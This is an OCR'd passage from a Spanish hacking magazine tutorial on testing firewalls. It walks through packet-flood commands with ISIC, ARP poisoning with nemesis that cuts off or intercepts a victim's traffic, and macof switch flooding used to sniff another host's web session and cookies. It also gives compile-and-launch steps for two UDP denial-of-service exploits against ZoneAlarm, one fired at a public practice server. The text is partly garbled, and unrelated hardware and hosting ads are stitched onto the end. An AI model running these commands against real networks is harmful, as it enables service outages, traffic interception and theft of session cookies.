o para esnifar en redes con switches
mediante una denegacidon del servicio.

ISIC, esta es nueva... bueno no tanto...
en “otra de las charlas” por el IRC, hablamos
de ellas, es un generador de paquetes que
nos serviran para comprobar como se
comporta el firewall o el IDS.

Y por ultimo usaremos dos exploits para
un firewall muy conocido, Zone Alarm,
aunque ya estan “controlados” por el
fabricante, tienen una “virtud” y es que
aunque el firewall Zone Alarm no se venga
a abajo... sera tal la carga de paquetes
que lo que conseguiremos es “tostar” la
conexidon y terminaremos por tumbar al
PC en el que corre, y si esa maquina no
tiene Zone Alarm instalado, consumiremos
el ancho de banda y dejara de prestar el
servicio... provocaremos un DoS a nuestros

servidores de practicas =

También seria recomendable que te
familiarizaras con algun esnifer, los hay para

Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls

Pagina 55



Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls

Pagina 56

todos los gustos y colores, desde “el crudo”
tcpdump hasta otros mas sofisticados como
pueden ser Ethereal, Commview, Iris o el
mismisimo snort que tantos articulos ha
ocupado.

Si deseas aprender “un poquito” el
funcionamiento de alguno de los indicados,
prueba a leer estos post en nuestros foros:

http://www.hackxcrack.com/phpBB2/viewt
opic.php?t=10306

Si eres nuevo por nuestros foros, quizas te
asuste el tamafio del post y de la
documentacién que se ofrece... son mas de
200 paginas... si lo que te interesa es empezar
con esto de los esnifers, prueba a empezar
con la parte correspondiente a ese post acerca
de Commview.

Probando la pila de TCP/IP. Con
ISIC

Probar la pila del protocolo TCP/IP es algo
habitual que se realiza cuando instalamos un
cortafuegos, un servidor Web o cualquier otro
dispositivo que deba estar expuesto a posibles
ataques externos o internos y poder probar
las seguridad que nos brindan nuestros
routers, fierewalls y asi asegurarnos de su
correcto funcionamiento o respuestas ante
ataques comunes y/o intentos de acceso no
permitidos.

Mas que una practica en si mismo, lo que
viene a continuacion es una coleccién de
sugerencias, pruebas e intentos de ataques
de DoS que suelen ir dirigidos a este tipo de
dispositivos.

Se trate de una aplicacion muy interesante
para probar ACL’s, Firewall y pila TCP/IP
en general, es un generador de paquetes
masivo, es decir, se comporta como una
“metralleta” de paquetes IP en los que va
variando las direcciones origen, la version IP,
la longitud, etc... Es mas, es capaz de generar
paquetes ilegales e incluso podemos elegir

la cantidad de paquetes mal formados de
forma que podemos observar cémo se
comporta nuestro router ante ese tipo de
paquetes.

Pensaras que no tiene mucho sentido enviar
al router paquetes que se han de descartar
pero tened en cuenta que un router es como
un ordenador, tiene Procesador, RAM, ROM,
Sistema Operativo, Tarjetas de Red, etc... Y
todos los paquetes que le llegan los ha de
procesar (valgan o no valgan) por lo que debe
dedicar recursos, memoria, etc para esas
labores.

Cuanto mas entretenidos estén reensamblando
paquetes o preocupado de lo que le llega, mas
recursos necesitara, mas memoria, mas uso
intensivo de procesador y si todo se
sobredimensiona puede llegar a bloquearse...

Claro bloquear un router puede no ser atractivo
(a no ser que queramos dejar sin servicio a
una determinada red o maquinas) pero
bloquear un Firewall o un IDS puede
ocasionar auténticos estragos en una red
puesto que deja de auditarse o quedar
desprotegida de otros ataques.

El conjunto de aplicaciones que usaremos se
llama ISIC, no empieces a buscarlo por la
web, en breves minutos te pondré el link de
descarga del paquete, ahora debe interesarte
mas como funciona y saber lo que puede llegar
a hacer... que es MUCHO.

ISIC puede generar paquetes TCP, ICMP, ARP,
UDP e IP para probar estos tipos de ataques,
eso si, solo para los que uséis LINUX, pero es
muy simple de utilizar, la aplicacion isic se
compone de varios programas, que son:

b Isic

P Tcpsic

P Udpsic
P Icmpsic
P Esic

Cada una especializada en trafico IP (isic),
TCP (tcpsic), UDP (udpsic), ICMP (icmpsic)
y tramas ethernet (esic)

PC PASO A PASO N° 22



Algunos ejemplos de ISIC

Para todos los ejemplos que vienen a
continuacion se supone que el router a probar
eslalIP 172.28.0.1

# isic =D -s 172.28.0.25 -d 172.28.0.1 -F70 -V10 -I0 -m3000

Esta orden enviarda paquetes (miles de
paquetes!!! Aproximadamente unos 5 MIL
PAQUETES POR SEGUNDO) y de la siguiente
forma:

-s 172.28.0.25, direccion IP que envia
los paquetes

-d 172.28.0.1, direccion IP que recibira
los paquetes

-I0 NINGUN PAQUETE (0) tendrd un
longitud de cabecera inadecuada, vamos
que todas las cabeceras IP seran validas

-F70 El 70% de los paquetes seran
fragmentados, es decir bastante trabajo
extra para el destino, la fragmentacién es
algo que vimos en articulos de snort,
recuerda el ejemplo del puzzle y del gasto
€N recursos que un router necesitara para
recomponer esos paquetes

-V10, el 10% de esos paquetes tendran
una version IP diferente a la 4, es decir,
no seran validos

-m3000, generara 3.000 kbits por
segundo, vamos que enviamos unos 3
megabits de paquetes por cada segundo,
si hubiésemos querido enviar un nimero
de paquetes determinado en lugar de
utilizar —=m seguido del ancho de banda,
se deberia usar -=p y el niumero de
paquetes a generar.

-D Registra los resultados y veremos
como fue todo

tcpsic y udpsic tienen las mismas opciones
que isic y ademas podemos especificar el
puerto origen y/o destino a probar, por
ejemplo:
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# tcpsic -D -s 172.28.0.25 -d 172.28.0.1,80 -F70 -V10 -I0 -m3000

# udpsic -D -s 172.28.0.25 -d 172.28.0.1,53 —-F70 -V10 -I0 -m3000

La uUnica diferencia es la opcién -d, que
después de la direccién IP destino se puso
una coma y el puerto TCP a probar

Si no se incluye el puerto destino, tcpsic
generara los paquetes hacia puertos de forma
aleatoria

Icmpsic se utiliza para probar el protocolo
ICMP, la mayoria de las redes bloquean los
ICMP entrantes del tipo ping, pero podemos
usar otro tipo de trafico que no corresponde
a la peticién echo (ping)

ICMP lo hemos visto anteriormente, recuerda
que hay o puede haber varios valores en los
campos Type y Code del mensaje ICMP, por
ejemplo del tipo TimeStamp.

Otra de las funciones interesantes que tiene
icmpsic es la de generar paquetes con
checksum incorrectos que invalidara el
paquete cuando se reciba y comprobar como
se comporta el FireWall o router ante ese tipo
de paquetes.

Ejemplo:
# icmpsic -D —s 172.28.0.25 -d 172.28.0.1,53 -F70 -V10 -I0 -m3000 —i15

Las opciones son las mismas que vimos antes,
Unicamente se afiade —i15 que permitiran
generar el 15% de los paquetes enviados con
un checksum incorrecto

Esic esta relacionada con ethernet y genera
paquetes con niumeros de protocolo aleatorios,
vamos que no se basan en el protocolo TCP/IP

esic —i interface —s MAC origen —d MAC destino —p protocolo —c n® paquetes - longitud maxima del MTU

Si en lugar de usar =p y n° de protocolo
usamos —p rand usara numeros aleatorios
de protocolo

Si no incluimos la opcion —d y la MAC destino,
se enviaran los paquetes a la direccion de
broadcast de la red, es decir, a todos los host
de la red
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MTU es la unidad maxima de transmision,
ya sabes.. para ethernet 1500 bytes

Esic esta pensado para probar switches y
hubs, puede causar estragos en la red,
inundaciones o tormentas de broadcast e
incluso provocar negaciones de servicios a
esos dispositivos

Resumen del conjunto de herramientas
ISIC

Isic, especialmente disefiada para probar
protocolo IP contra cortafuegos, routers
y servidores

Tcpsic, idem de isic y para probar servicios
importantes del tipo 22 SSH, 25 SMTP,
80 http, 8080 proxies

Udpsic, para servidores DNS

Icmpsic, para probar cortafuegos y
routers en general

Esic, idem de los anteriores y pensado
especialmente para hubs y switches

Mas ejemplos (analiza posteriormente
sus objetivos)

# isic —s 172.28.0.25 -d 172.28.0.1 —-F75 -V75 -175

observa que el 75% de TODOS los paquetes
seran erréneos y fragmentados, los firewalls
suelen funcionar muy bien cuando se enfrentan
a condiciones normales, pero ante este tipo
de paquetes pueden llegar a colapsarse.

# topsic —s rand —d 172.28.0.1,80 -m 4000 —-FO0 -VO0 -10

Esto genera paquetes validos (0% incorrectos)
pero permitird comprobar como se comporta
el servidor Web (puerto 80) al recibir 4 megas
de paquetes que intentan conectarse desde
IP aleatorios (-s rand)

Podréis encontrar ISIC en:
www.packetfactroty.net/Projects/ISIC , sélo

para LINUX =

Generador de paquetes NEMESIS

Ya dije antes que en la Revista nimero 18
dentro de la serie de articulos del curso de
TCP/IP se comento esta utilidad, aqui vamos
a darle un uso diferente... envenenar la tabla
ARP enviando paquetes mal intencionados.

El objetivo.... Dejar a un PC de nuestra LAN
sin conectividad a Internet

RECUERDA

El equipo 172.28.0.1 es el router
El equipo 172.28.0.25 sera el atacante
El equipo 172.28.0.50 sera la victima

Y no te olvides de cambiar mis IP’s por las
que uses en tu LAN

Si lo que tienes son Unicamente dos equipos
y uno de ellos hace de proxy, te sobrara
el equipo que yo llamo router, de tal forma
que atacante y servidor proxy seran una
misma cosa.

Si dispones de un solo equipo sin router,
no podras hacer nada

Si dispones de un sélo equipo + router, lo
mas probable es que pierdas la conexion...

Si dispones de tres equipos y uno de ellos
es un servidor proxy, interpreta el ejemplo

como si tu servidor proxy fuese un router.

Vamos a averiguar las MAC’s de cada cosa

19) Hacemos un ping al router y otro ping al
equipo (victima) de la LAN desde el equipo

atacante

ping 172.28.0.1 (ping al router)
ping 172.28.0.50 (ping al equipo DOS
de mi LAN)

con esto conseguimos que en nuestra maquina
se actualice la caché ARP y podamos obtener
sus MAC’s y las anotamos...
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20) Obtener la tabla de direcciones MAC-IP
de la caché ARP (desde atacante,

172.28.0.25)

arp -a

interfaz: 172.28.0.25 on interface 0x1000003

Direccion P,
172.28.0.1
172.28.0.50

Direccién fisica Tipo
00-C0-49-D4-5F-CD dindmico
00-00-39-C1-6A-C2 dindmico

En estos momentos, tanto las cachés del
Equipo victima como en la tabla MAC o de
enrutamiento del router estan las MAC's de
los equipos con que se comunican, es decir,
en el equipo victima figurara la MAC del router
y la MAC del equipo “atacante”

39) Verificar la caché en el equipo victima
(desde 172.28.0.50)

arp -a
interfaz: 172.28.0.50 on Interface 0x1000003
Direccion IP Direccion fisica Tipo
172.28.0.1 00-C0-49-D4-5F-CD dindmico
172.28.0.25 00-05-1C-08-AE-7C dindmico

40) Inyectar el paquete “mal intencionado”
desde el atacante (172.28.0.25)

Ahora enviamos este paquete DESDE
172.28.0.25 haciéndonos pasar por el ROUTER
(172.28.0.1) y le enviamos una MAC que NO
ES LA DEL ROUTER!!I! Y todo ello se lo
enviamos al equipo victima (172.28.0.50)

Desde el equipo 172.28.0.25 tecleamos
(y ojo con las mayusculas y minuasculas)

nemesis arp -D 172.28.0.50 -S 172.28.0.1 -H AA:BB:CC:DD:EE:FF

équé le ocurrira al equipo 172.28.0.50
(la victima)?

Pues que actualizara su caché arp con la
MAC AA:BB:CC:DD:EE:FF y asociara esa
MAC a la Ip con la que le hemos inyectado
el paquete... la 172.28.0.1 por tanto cuando
quiera comunicarse con ese equipo la IP
172.28.0.1 no respondera porque ESA
NO ES SU MAC!!
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Vamos que le dejamos sin conexién con el
router y por tanto sin Internet

50) Veamos como que da la caché del equipo
victima:

Interfaz: 172.28.0.50 on Interface 0x1000003

Direccién IP. Direccion fisica Tipo
172.28.0.1 AA-BB-CC-DD-EE-FF dindmico
172.28.0.20 00-05-1C-08-AE-7C dinamico

Si ahora desde ese equipo (172.28.0.50)

Zas!!! No hay conexion...

Y no tendrd conexion hasta que ocurran
cualquiera de estas circunstancias:

P Que desde el equipo victima (172.28.0.50)
se haga un arp -d (limpiar la caché)

P Que desde el equipo el router (172.28.0.1)
se haga un ping a 172.28.0.50

P Que pase un tiempo determinado....
Explicando el por qué esos tres casos:

El primer caso esta claro, si se eliminan
las entradas de la caché ARP se elimina
la MAC falsa asociada a la IP del router
y cuando quiera comunicarse lanzara una
peticion broadcast en la red para averiguar
la MAC verdadera.

Si el router hace un ping a la victima
ésta actualizara de nuevo la caché ARP
con la MAC verdadera... esto es muy
comun en los routers, envian paquetes del
tipo ICMP redirect para que sus clientes
“actualicen” sus puertas de enlace....

Que pase un tiempo.... todos los Sistemas
operativos manejan la pila TCP/IP y las
cachés de forma diferente, una de las
diferencias es el tiempo transcurrido para
liberar conexiones y recursos, la caché es
un recurso mas y para “ahorrar” RAM
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y otros servicios cada x tiempo se
liberan, al pasar ese tiempo nuestro
DoS ARP dejara de funcionar, ese
tiempo puede oscilar.... minutos, horas,
dias, hasta el préoximo reinicio, etc. ya os
digo, depende del Sistema Operativo.

El equipo victima solo perdera la conexion
con el equipo al que le suplantamos la
MAC, con los otros equipos de la red
tendra un comportamiento normal.

Como veréis queda “demostrado” la
frasecita que se va hacer famosa:

SIN DIRECCIONAMIENTO FISICO NO
HAY DIRECCIONAMIENTO LOGICO,
NO HAY COMUNICACION.

Ideas:

Suplantar la MAC del router igual que antes
pero en lugar de usar una MAC inexistente
podemos poner la MAC del equipo atacante...
a su vez, en el equipo atacante se afiade otra
IP virtual con la IP del router... Acabamos de
obligar a que las conexiones del equipo victima
"pasen” por el nuestro.

Asi:

nemesis arp -D 172.28.0.50 -S 172.28.0.1 -H 00:05:1C:08:AE:7C

Si el equipo victima hiciese un arp —a para
ver su caché ARP, veria esto:

172.28.0.1

Interfaz: 172.28.0.50 on Interface 0x1000003
Direccion IP

172.28.0.20

Direccién fisica Tipo
00-05-1C-08-AE-7C dinamico
00-05-1C-08-AE-7C dinamico
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DOS MACS IGUALES ASOCIADAS A IP'S

Claro que visto asi Unicamente no tendria
mucho sentido... puesto que por la maquina
del atacante sélo pasarian las peticiones de
la victima y no las respuestas de los equipos
con los que quiere comunicarse, nos faltaria
redireccionar sus peticiones hacia esas otras

magquinas, como si las hiciésemos nosotros
mismos pero con los datos esnifados de la
victima... ellas nos responderian y nosotros
entregariamos esas respuestas a la victima
de nuevo.... os suena esto a algo??

ENVENENAMIENTO ARP ARTICULO 8 DE
LA REVISTA... pero contada “de otra
forma”

Recordad que ARP sélo afecta al ambito
local, no vayais envenenado ARP’s por Internet
gue no tiene sentido, recordad como se
produce el enrutamiento, y antes de
terminar

Nemesis es un generador de paquetes que
podras encontrarlo tanto para Windows como

para LINUX en:

http://www.packetfactory.net/projects/nemesis/

MACOF

Veamos, esta es una herramienta incluida en
la suite dsniff y aunque hay versiones para
Windows y para LINUX de dsniff, |a distribucion
para Windows no incluye macof, por lo que
deberemos usar LiINUX

Encontraremos dsniff en:
http://monkey.org/~dugsong/dsniff/

Y precisa de numerosas dependencias...
b Berkeley DB en: http://www.sleepycat.com/

P OpenSSL en: http://www.openssl.org/

P Libpcap en: http://www.tcpdump.org/

4 Libnet en: http://www.packetfactory.net/Projects/Libnet

P Libnids en: http://www.packetfactory.net/Projects/Libnids

Hay que instalar las dependencias antes de
dsniff y como ya dije en otra ocasidén, hazlo
en el orden que te puse, porque unas dependen
de otras...

El caso es que tras instalarlo TODO, tendremos
disponible las utilidades de dsniff, que son
muchas y que aqui sélo hablaremos de macof.
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Lo que vamos a realizar es algo MUY agresivo,
con un gran impacto en la red, pero... hay
que probar de todo...

Antes de nada, vamos a comprender por qué
la existencia de macof y qué vamos a
intentar...

Ya sabemos que para conectar equipos en
una red local podemos utilizar hubs o switches,
aunque fisicamente son muy parecidos y
aparentemente hacen lo mismo, funcionan
de un modo muy distinto.

Un hub se limita a “repetir” la sefial (los
paquetes de datos) que le entran por una de
sus bocas hacia todas las demas, esto es,
que cualquiera que ponga un esnifer en modo
promiscuo, en cualquier equipo de esa red,
escuchara el trafico de todos los equipos,
pertenecen a la Capa 1 del modelo OSI.

Un switch trabaja en capa 2 del modelo OSI,
son mas evolucionados, construyen una tabla
en su memoria que relaciona la boca del
switch con la MAC y direccién IP de la maquina
que estd conectada a esa boca..., y cuando
dos equipos se comunican, el swtich conmuta
el trafico Unicamente entre los equipos
afectados, o sea, que si colocamos un esnifer
en modo promiscuo en un host cualquiera,
sb6lo podremos capturar el trafico que se
origine en ese host o que vaya dirigido a ese
host, no el de otros...

Visto de ese modo, los switches aportan una
mayor seguridad, parece ser que escuchar
las conversaciones "a escondidas” no sera
posible... a no ser que envenenemos ARP
como se demostrd antes.

Lo que nos interesa en este apartado no es
probar técnicas de ARP Spoofing, sino que
vamos a intentar convertir un switch en
un hub.... einnn?? Pues si... esto es lo que
hard macof, si tiene éxito tendremos nuestro
flamante switch convertido en un misero
hub... eso trae consigo una bajada importante
del rendimiento de la red, pero nos permitira
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poner un esnifer en modo promiscuo y que
funcione en un medio conmutado por switches.

Como ya he dicho, los switches construyen
una tabla que relaciona las MAC's con las IP’s,
con los puertos fisicos del switch y algunos
otros valores como el tiempo de actividad,
tiempo de caducidad, etc...

Para ello, los switches utilizan memoria, como
si fuese la RAM de un PC y como todo en la
vida, hay un limite....

Supongamos que tenemos un switch de 8
bocas y que en él hay conectados 7
ordenadores y un router, el switch guarda en
su tabla los datos antes mencionados y
conmuta el trafico de la red.

éQué pasaria si a ese switch le enviamos
miles y miles de paquetes con IP’s y
direcciones MAC falsas? Y todo eso en pocos
segundos...

Pues que el swtich empezara a actualizar su
tabla y asigna constantemente nuevas
entradas, como son tantas y tantas, pueden
pasar varias cosas:

P que sea un Sefior switch y detecte la
tormenta, la pare o desconecte ese puerto
P que se bloquee, al pobrecito se le agota la
memoria disponible y “se muere”

P que en lugar de “morirse”, nuestro switch
actla asi: “joer que barbaridad de paquetes,
no puedo con todos.... pos ala... me convierto
en un hub y que se las apafien los PC’s”

Aunque parezca asombroso, son muchas mas
las ocasiones en las que un switch se comporta
del ultimo modo que de los otros... hombre,
también depende del tipo de switch... no
vayamos a comparar un Catalyst de CISCO
que puede llegar a costar varios miles de euros
con uno de esos de marca “adidas” que nos
cuestan poco mas de 30 euros... pero aunque
el switch sea muy caro, también hay que
administrarlo... y .....
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[ Habtar Reglas de Direcciones IP
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(o= ] Ladele ]
®
Ambas 172.28.0.9 @ Caphirar
O ignoear

Bien, pues ya esta descrita la utilidad de
macof, ahora veamos la prueba...

Primero usaré un esnifer en un equipo
Windows para intentar cazar el trafico del
host 172.28.0.9, no cazaré nada.... porque
el switch no “me pasa el trafico” que ese
equipo establece con otros.

Luego en un equipo LiINUX abriré una linea
de comandos para poder ejecutar macof y
mientras se ejecuta volveré a poner el esnifer
en el otro equipo, a escuchar... y .... veremos
que si captura lo que buscdbamos...

Antes de continuar y terminar con macof, os
recomendaria que si lo vais a probar en
vuestro trabajo, colegio, etc.. donde no sedis
administradores de la red, ADVERTIRLO
antes, porque es posible que el rendimiento
descienda... y mucho...

En este escenario las IP’'s de prueba son:

172.28.0.200, el equipo LiNUX que
lanzard macof

172.28.0.50, un Windows XP que se usara
con el esnifer

172.28.0.9, un Windows 2000 Server que
sera a quien queremos espiar

172.28.0.1, un switch/router/firewall US
Robotics de 8 puertos, configurable y
gestionable.

Primero habilitamos las reglas... escuchar
laIP 172.28.0.9 y el puerto 80, o sea, a ver
por donde navega...

Fomalted B TLE 13951 0 Famahy Fast Ethmrme | S

e & =

Agregar Registro
(D) Hadia

) Desde

@ Ambas
172.28.0.9
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Y luego iniciamos el esnifer, para intentar
capturar el trafico... después de un buen rato...
nada...

B CommView E‘@I@

Archivo Buscar Ver Herramientas Preferencias Reglas Ayuda
b m & W-0- 2 £
[ Estadisticas IP | {{y] Paquetes | [l Registro | ), Reglas | @) Alarmas
No Protocolo

Direcciones Fisicas. Direcciones IP Puertos I

Ceptura: On

Pqts: 44 entr. / 71 sal /9 pas Guardar Auto.: Off Reglas: 2 On Alarmas: Off 3% de Util de CPU

Ahora lancemos macof desde el LiNUX, lo
hacemos contra la direccidn IP del switch y si
no la sabemos, pues al “azar”

hd root@linux-rh8:~

Archivo Editar Ver Terminal |Ir Aluda

[root@linux-rh8 root]# macof -h

Version: 2.3

Usage: macof [-s srec] [-d dst] [-e tha] [-x sport] [-y dport]
[-i interface] [-n times]

[root@linux-rh8 root]# macof -d 172.28.0.]'

Utilizamos las forma macof -d 172.28.0.1
porque sabiamos la IP del switch, pero
perfectamente hubiera sido valido escribir
simplemente macof.

Cuando pulses enter empezaran a mostrarse
cientos de paquetes que salen... no lo pares....

También se puede especificar la interface
(-i) o el numero de paquetes (-n), es muy
sencillo su uso.

Ahora veamos que paso en el esnifer... en la
maquina Windows XP
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B commView

Archivo Buscar Ver Herramientas Preferencias Reglas Ayuda
bDEm BH-0- 42 E

[ Estadisticas IP | ' Paquetes | B Registro | [ Reglas | @) Alarmas
URT: fphpBB2iog || g s
Accept imageigf
Accept-Language:
Accept-Encoding:
Userge

‘phpbb2mysql
ehebb2mysali g | 00160
< > 0x0170

0x0180
0x0190

Pats 105 enir./ 164 sal / 130 pas

Coptisa On

Regas: 20n

Alamas: Off

B Sesion TCP

Archivo Ediar Preferencias

EER

GET /phpBB2/login.phplredirect= HTTP/L.1 ~
Accept: image/gif, image/x-xbitusp, image/jpeg, image/pipey, application/x-shockvave-flash,
application/vnd.ms-powerpoint, application/wnd.ms-excel, application/msword, */%

Accept-Language: es

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 ({compatible; MSIE $.01; Windows NT 5.0}

Host: www.hackxcrack.com

Connection: Keep-Alive

Cockie: phpbbZuysgl_data=at3A04+3A47BA7D; phpbbluysql_sid=e27eab7i4b3l0Sfces4bdzaZdsdiasz?

v
[FILAPTOR-VIC:1202 => sp40.amenworld.com:80 * 477 bytes en 1 paquete(s) Mostrar Tipo:
[#Jsp40.amenworld.com: 80 = > LAPTOP-VIC: 1202 * 0 bytes en 0 paguete(s) ASCIT v

Total de 477 bytes en 1 paquete(s), Tiempo de Sesidn: 0 sequndo(s) Navegacion:

Vemos que nuestro querido PC 172.28.0.9
anda por los foros de hackxcrack, incluso le
“pillamos” las cookies... y con suerte,
podremos cazar hasta las contrasefias....
macof, funciono.

Terminamos, vamos a ver esos dos exploits
gue causaran una negacion de servicios...

Uno es un script en perl y otro es un
programa en C que hay que compilar en
LiNUX, aunque se pueden lanzar desde
Windows, no te lo recomiendo... la pila TCP/IP
de Windows se desbordara en el equipo
atacante y se freira tu PC, hazlo desde LiNUX.

http://packetstormsecurity.nl/0309-exploits/augustiner.c

El otro,

http://www.securityfocus.com/data/vulnerabilities/exploits/zonealarm-udp-dos.pl

La filosofia de ambos es la misma, enviar
miles de paquetes aleatorios a puertos
aleatorios, por UDP, el resultado es que
hipotéticamente “tira abajo” a Zone Alarm,
a mi no se me va abajo... pero te puedo
asegurar que carga de sobremanera al host
atacado, tanto, tanto que deja de prestar
servicios o se vuelve muy torpe.

Que se nos venga abajo un PC no es el objeto
de esto, pero matar su firewall si que seria
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una buena cosa para algun desalmado que
quiera hacer algo contra nosotros.
Esto es lo que le ocurre al rendimiento del PC
atacado (con zone alarm o sin él) el uso de
CPU es intensivo...

£ Administrador de tareas de Windows E]
Archivo Opciones Yer Ayuda
Aplicaciones | Procesos R rﬁ\éﬁ'@_a_j Funciones de red | Usuarios
Uso de CPU Historial de uso de CPU
Uso de PF Historial de uso de archivo de pagina
Totales Memoria fisica (KB)
Identificadores 11454 Total 228848
Subprocesos 378 Disponible 60748
Procesos 36 Caché sistema 64564
Carga de transacciones (KB) Memoria del ndcleo (KB)
Total 270360 Total 29208
Limite S60624 Paginado 24020
Méximo 304940 No paginado 5188
lPrDcesus: 36 Uso de CPU: 100% Carga de transacciones: 2705601

Para usar el exploit augustiner.c hay que
compilarlo tal y como dice el fuente,

gcc -o augustiner augustiner.c; ./augustiner
Y luego se lanza contra el objetivo en la forma
./augustiner 172.28.0.50 www.google.es
Y el PC destino empezara a recibir miles de
paquetes aleatorios, de tamafios aleatorios y
por puertos aleatorios con origen en google.es
Probemos con uno de los servidores de pruebas

de hxc... Primero le hacemos un ping para
ver si esta on

WINDOWS\System32\cmd. exe

lC:\>ping 62.57.101.243
Haciendo ping a 62.57.101.243 con ytes de datos:

2 tiempo=4?7ms TTL=117
2 tiempo=265ms
e 2
uesta desde 2

tienpo=268ns

T 7
tiempo=145ms TTL=117

43:
-101.243:

62.57.101.243:
4, recibidos = 4, perdidos = @

k\ ap mad de ida y vuelta en milisegun
Minimo = 145ms, Maximo = 477ms, Media = 288ms
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Vale, hay respuesta... ahora desde el equipo
con LiNUX le lanzamos el DoS...

hd root@linux-rh8:~/Taller_test

Archivo Editar Ver Terminal |Ir Axuda
[root@linux-rh8 Taller_test]# ./augustiner 62.57.101.243 www.google.es

augustiner.c
Version 1.1
(c) warlord OF nologin.org
Check www.nologin.org

Flooding 62.57.101.243 with udp packets.

Press Ctrl+C to stop Q

No hay que pulsar CTRL+C, lo dejamos
corriendo y veamos que pasa si desde el otro
equipo hacemos el ping....

Haciendo
L8
T
T
18
E

a 62.57.181.243:
» recibides = B. perdides = 4

“muerto”.... no se te olvide cancelar el DoS
mediante CTRL.+C que sino la gente no podra
hacer “sus practicas”

No estaria de mas que probaras toda esta
bateria de herramientas y utilidades en tu
red, configurando snort como te hemos
ensenado en los numeros anteriores... es una
buena practica y descubrirds cosas muy, muy
interesantes...

Saludos

Ahh!! Una dltima cosa... para que luego
digais que no me porto bien... si no
queréis volveos locos con tanto link, tanta
descarga, tanta.... aqui tenéis un enlace
que en el que os podéis bajar TODAS las
herramientas usadas en este articulo y
alguna otra que puede ser interesante...

http://www.forohxc.com/stress/22/u.zip

Dedicatoria:

Tengo que dedicarlo... lo siento... pero es que
en uno de los numeros “desaparecio” la
dedicatoria y estaba prometida... para ti,
Lourdes, con respeto y mi eterna
amistad....
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TEL.: 902-227733 / 945-176647

AX.: 94-4342433
E-MAIL: compras@biomag.biz

www.biomag.biz

Video Magic Series

VM-101

- Fanless VGA card cooling solution
- Suitable for all VGA cards
- Stylish fins and protective
cover design

UV active cable sleeve UV active connectors

Hard Beat Series

BT-101

- Fanless HDD cooling solution
- Stylish fin design
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UV activell Applications = Applications
AMD: Athlon XP 3600+ and higher u h I AMD: Athlon XP 3600+ and higher
INTEL: P4 Socket 478, 3.6Ghz and higher INTEL: P4 Socket 478, 3.6Ghz and higher

Heatsink Heatsink
Tube -100 mm, 36+ fins - dia. 66mm create your own cases Tube -100 mm, 36+ fins - dia. 66mm
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A
amen

. IN WEB WE TRUST

& PACK WEB SERVIDOR

- Linux 0

- AMD DURON 1600 MHz

- 256 Mb RAM (ext. a 512 Mb)

- Disco duro 80 Gb (ext. 120 Gb)

- 700 Gb de trafico

» 1 direccion IP fija (ext. a 4)

* Interfaz de administracion PLESK
- Ninguin gasto oculto

- Ninguin gasto de puesta en servicio

CONECTESE A NUESTRA WEB www.amen.es

ELIGE LAS CARACTERISTICAS DE SU SERVIDOR DEDICADO
ELIGE LA DURACION DE SU PACK (1, 3 6 6 MESES)

ELIGE SU SISTEMA OPERATIVO

ELIGE SU INTERFAZ DE ADMINISTRACION

PAGUE CON TARJETA, TRANSFERENCIA O CHEQUE. 6 9 €
/mes
SIN CO NTATO

1 49 e..

REBOOT INSTANTANEOQ, SALVAGUARDA DE SUS DATOS, REINSTALACION DEL SISTEMA OPERATIVO,

MONITORIACI(’]N DE LA RED Y DE SU TRAFICO, DIRECCION IP FIJA SUPLEMENTARIA. CONTRATO SEMESTHAL

902 165 902 WWW.amen.es

* Lea las condiciones generales de venta en www.amen.es! io sin VA al 1/6/2004. Informacicn valida salvo error tipografico.



